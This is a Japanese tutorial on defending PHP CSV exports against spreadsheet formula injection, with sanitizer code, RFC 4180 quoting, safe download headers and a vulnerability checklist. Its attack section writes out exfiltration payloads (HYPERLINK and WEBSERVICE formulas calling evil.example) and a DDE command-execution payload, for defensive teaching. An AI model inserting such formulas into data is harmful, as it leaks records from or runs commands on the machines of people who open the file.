Skip to content

ハウツー: エクスポート時の CSV / スプレッドシート数式インジェクションを防ぐ

API がユーザー提供のデータを CSV としてエクスポートするとき、危険はあなたのサーバー上にはありません — 受信者のスプレッドシート上にあります。Excel、Google Sheets、LibreOffice は、テキストが =+-@、タブ(\t)、復帰文字(\r)で始まるセルを数式として扱います。=cmd|'/c calc'!A0=HYPERLINK("https://evil.example/?"&A1) のような文字列をデータベースに入れられる攻撃者は、管理者がエクスポートされたファイルを開いたときにそれを実行させる(DDE)か、行を流出させることができます。

これが CSV インジェクション(数式インジェクションとも呼ばれる)です。これはエクスポート境界での出力エンコーディングの問題であり — SQL インジェクション(クエリの問題)や CSV 一括インポート(入力の問題)とは別物です。

前提条件: 行を CSV として返すエンドポイントがあること。


1. 攻撃

これを完全に有効な「表示名」として保存し、テーブルを CSV にエクスポートして Excel で開いてみてください:

=HYPERLINK("https://evil.example/leak?d="&A1&A2, "Click for refund")
  • =...HYPERLINK... — クリックされると隣接セルを攻撃者の URL に流出させる。
  • =WEBSERVICE("https://evil.example/?"&A1) — 古い Excel ではクリックなしで流出させる。
  • =cmd|'/c calc'!A0 — DDE。確認ダイアログの後にローカルコマンドを実行できる。

これらはどれもあなたのサーバーには触れません。バリデーションは通過し、SQL はパラメーター化されていた — それでもあなたは「有効な」CSV の中に動作するエクスプロイトを出荷したのです。


2. 修正: 先頭文字を無害化する

OWASP 推奨のベースライン: セルの値が危険な文字で始まりかつ単純な数値でない場合、シングルクォート(')を前置します。Excel はその後セルをリテラルテキストとしてレンダリングします。

php
/**
 * CSV セルに書き込む前に値を無害化し、スプレッドシート
 * ソフトウェアがそれを数式として解釈できないようにする。
 */
function neutralizeCsvCell(string $value): string
{
    if ($value === '') {
        return $value;
    }
    $dangerous = ['=', '+', '-', '@', "\t", "\r"];
    // 本物の数値(-50 のような負の値を含む)はそのまま保つ。
    // 危険な文字で*始まり*かつ数値でない値のみクォートする。
    if (in_array($value[0], $dangerous, true) && !is_numeric($value)) {
        return "'" . $value;
    }

    return $value;
}

!is_numeric() のガードは、ほとんどの実装が誤る部分です: あらゆる -/+ を盲目的に前置すると、正当な数値 -50 がテキスト '-50 になり、受信者のシートでの合計が壊れます。数値は素通りし、数式の形をした文字列だけがクォートされます。


3. RFC 4180 クォーティングと組み合わせる

無害化は数式を処理します。それとは別に、カンマ・クォート・改行を含む値が列構造を壊さない(別個のインジェクションベクター)よう、正しいクォーティングも必要です。fputcsv にそれをやらせます。厳密な RFC 4180 の振る舞い(バックスラッシュエスケープなし)には escape="" を指定します:

php
$fp = fopen('php://temp', 'r+');
foreach ($rows as $row) {
    fputcsv($fp, array_map('neutralizeCsvCell', $row), ',', '"', '');
}
rewind($fp);
$csv = stream_get_contents($fp);

入力 → 出力(検証済み):

=1+1                       → '=1+1
+budget                    → '+budget
@home                      → '@home
-50                        → -50            (本物の数値、変更なし)
=cmd|'/c calc'!A0          → "'=cmd|'/c calc'!A0"
a,b                        → "a,b"
he said "hi"               → "he said ""hi"""

escape="" が重要です: PHP の歴史的なデフォルトエスケープ文字(\)は、RFC 4180 に準拠しない出力を生成し、Excel が誤ってパースします。常に "" を渡してください。


4. ダウンロードレスポンスとして返す

ハンドラーで PSR-7 レスポンスを構築します。さらに 2 つのヘッダーレベルの詳細が重要です:

php
$filename = 'export-' . date('Ymd') . '.csv';

return $responseFactory->createResponse(200)
    ->withHeader('Content-Type', 'text/csv; charset=UTF-8')
    // ファイル名を無害化: CR/LF/クォートを除去して追加ヘッダーを注入できないようにする。
    ->withHeader('Content-Disposition', 'attachment; filename="'
        . preg_replace('/[\r\n"]/', '', $filename) . '"')
    ->withBody($streamFactory->createStream("\u{FEFF}" . $csv));
  • Content-Disposition: attachment — ブラウザにバイト列をレンダリングさせる代わりにダウンロードを強制する(コンテンツスニッフィングに対する防御)。
  • filename の無害化 — ユーザー制御の名前を \r\n" を除去せずに決して補間しない。さもなければヘッダーインジェクションのベクターになる。
  • BOM(\u{FEFF} — オプション。Excel が UTF-8 を正しく開けるようにする。インジェクション防御には影響しない。

無害化はハンドラー全体に散らばせるのではなく、エクスポート層(小さな CsvWriter value object)に留めてください — そうすれば同じ保証がすべてのエクスポートエンドポイントをカバーします。


脆弱性アセスメント

V-01 — 先頭の = による数式インジェクション ✅ SAFE

リスク: =1+1=HYPERLINK(...) のような保存された値が CSV を開いたときに実行される。 所見: SAFE — neutralizeCsvCell()' を前置するため、セルはテキスト('=1+1)としてレンダリングされます。


V-02 — DDE コマンド実行(=cmd|...)✅ SAFE

リスク: =cmd|'/c calc'!A0 が DDE をトリガーしローカルコマンドを実行できる。 所見: SAFE — ペイロードは = で始まり数値でないため、クォートされます("'=cmd|'/c calc'!A0")。


リスク: =WEBSERVICE("https://evil/?"&A1) が隣接セルを漏洩させ、時にはクリックなしで起こる。 所見: SAFE — 同様に無害化されます。先頭の = は関数名に到達する前に無効化されます。


V-04 — 先頭の +-@ トリガー ✅ SAFE

リスク: Excel は +-@ で始まるセルも評価する。 所見: SAFE — 4 つすべてが $dangerous セットに含まれます。+budget'+budget@home'@home


V-05 — タブ / 復帰文字の前置によるバイパス ✅ SAFE

リスク: 先頭の \t\r が一部のパーサーで除去され、その下の = が露出する(\t=1+1)。 所見: SAFE — \t\r$dangerous セット自体に含まれるため、除去される前にセル全体がクォートされます。


V-06 — カンマ / クォート / 改行による列の崩壊 ✅ SAFE

リスク: a,b のような値や埋め込まれた "/改行がデータを誤った列にずらす(構造的インジェクション)。 所見: SAFE — fputcsv(..., escape: '') が RFC 4180 クォーティングを適用します("a,b""he said ""hi""")。


V-07 — Content-Disposition ファイル名ヘッダーインジェクション ✅ SAFE

リスク: \r\n を含むユーザー制御のエクスポート名が追加のレスポンスヘッダーを注入する。 所見: SAFE — ファイル名はヘッダーに置かれる前に preg_replace('/[\r\n"]/', '', ...) を通されます。


V-08 — コンテンツスニッフィング / インラインレンダリング ✅ SAFE

リスク: attachment がないと、ブラウザが CSV を HTML としてレンダリングし、埋め込まれたマークアップを実行する可能性がある。 所見: SAFE — Content-Type: text/csv + Content-Disposition: attachment がダウンロードを強制します。


V-09 — 正当な負の数値が壊される ✅ SAFE(正しさ)

リスク: 過剰な無害化が -50 をテキスト '-50 にし、下流の合計を破壊する。 所見: SAFE — !is_numeric() のガードが整形式の数値(-50+1-5e3)をそのまま素通りさせます。


V-10 — 防御の集中化 ✅ SAFE

リスク: ハンドラーごとのその場しのぎの CSV 構築が、あるエンドポイントで無害化を忘れさせる。 所見: SAFE(設計による)— 無害化は array_map 経由で適用される単一のエクスポート層に存在するため、すべてのエクスポートのすべての列がカバーされます。


VULN まとめ

ID脆弱性所見
V-01数式インジェクション(=✅ SAFE
V-02DDE コマンド実行✅ SAFE
V-03WEBSERVICE/HYPERLINK 流出✅ SAFE
V-04+ / - / @ トリガー✅ SAFE
V-05タブ / CR 前置バイパス✅ SAFE
V-06カンマ / クォート / 改行による列崩壊✅ SAFE
V-07ファイル名ヘッダーインジェクション✅ SAFE
V-08コンテンツスニッフィング / インラインレンダリング✅ SAFE
V-09負の数値の破壊✅ SAFE
V-10防御の集中化✅ SAFE

10 SAFE, 0 EXPOSED. 重大な発見なし。先頭文字を無害化するルール(数値ガード付き)に RFC 4180 クォーティングと attachment ダウンロードレスポンスを加えることで、CSV インジェクション面が閉じられます。唯一残る注意点は人間的なものです: 無害化の ' が一部の非スプレッドシート CSV パーサーでは先頭のアポストロフィとして見えます — 受信者のスプレッドシートでのコード実行が代替案であることを考えれば、許容できます。


関連

MIT ライセンスの下で公開されています。